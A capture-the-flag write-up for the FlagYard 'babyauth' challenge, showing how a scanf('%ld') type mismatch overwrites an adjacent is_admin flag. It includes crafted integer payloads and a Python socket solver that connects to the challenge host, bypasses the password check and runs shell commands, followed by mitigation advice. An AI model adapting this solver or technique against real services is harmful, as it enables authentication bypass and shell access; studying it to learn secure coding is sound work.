FlagYard babyauth — Writeup
FlagYard babyauth — Writeup
Compact writeup for a beginner auth bypass via a type-size mismatch that corrupts a neighboring stack variable.
Summary
The binary asks for a numeric length, allocates a buffer, reads a password, and compares it to the environment variable SECRET. If it matches, it sets is_admin = 1 and spawns a shell. A bug in getval passes an int * to scanf("%ld") by casting: getval("length: ", (long*)&len); causing scanf to write 8 bytes (size of long on x86_64) into a 4‑byte slot. This overwrites the adjacent is_admin variable. We can force is_admin = 1 without knowing SECRET.
Vulnerability
Stack locals (typical layout):
int is_admin = 0;
int len;
getval("length: ", (long*)&len); // scanf("%ld") writes 8 bytes at &len
Memory write covers len (first 4 bytes) + is_admin (next or previous 4 depending on ordering). Supplying a crafted 64‑bit integer sets is_admin=1.
Primary pattern (if layout is [len][is_admin]):
value = (1 << 32) | desired_len
example desired_len = 32 -> 4294967328
Alternate pattern (if layout reversed):
value = (desired_len << 32) | 1
example desired_len = 32 -> 137438953473
Exploitation
- Connect to service.
- At
length:prompt send crafted 64‑bit decimal. - At
password:prompt send any string (check now bypassed). - Receive
[+] Authenticatedand interact with shell.
Socket Solver
#!/usr/bin/env python3
import socket, time
HOST = "34.252.33.37"
PORT = 31886
PRIMARY = (1 << 32) | 32 # 4294967328
ALT = (32 << 32) | 1 # 137438953473
def attempt(val):
print(f"[+] Trying {val}")
s = socket.create_connection((HOST, PORT))
s.recv(1024) # "length: "
s.sendall(str(val).encode() + b"\n")
s.recv(1024) # "password: "
s.sendall(b"A\n")
out = s.recv(1024)
print(out.decode(errors="ignore").strip())
if b"Authenticated" in out:
s.sendall(b"id\n"); time.sleep(0.2)
print(s.recv(4096).decode(errors="ignore"))
# Example flag retrieval (adjust path as needed):
# s.sendall(b"cat flag.txt\n"); time.sleep(0.2); print(s.recv(4096).decode(errors="ignore"))
return True
s.close()
return False
if __name__ == "__main__":
if not attempt(PRIMARY):
attempt(ALT)
Result
After successful overwrite you get a shell; read the challenge flag from the expected location (e.g. cat flag.txt).
Mitigation
- Match format specifiers to variable types: use
scanf("%d", &len)or declarelenaslong. - Compile with warnings (
-Wall -Wextra -Wformat). - Consider stack variable reordering or adding SSP/canaries (already present but not relevant here).
Takeaway
A single unsafe cast turns a straightforward auth check into a trivial privilege bypass. Always heed compiler warnings about format and type mismatches.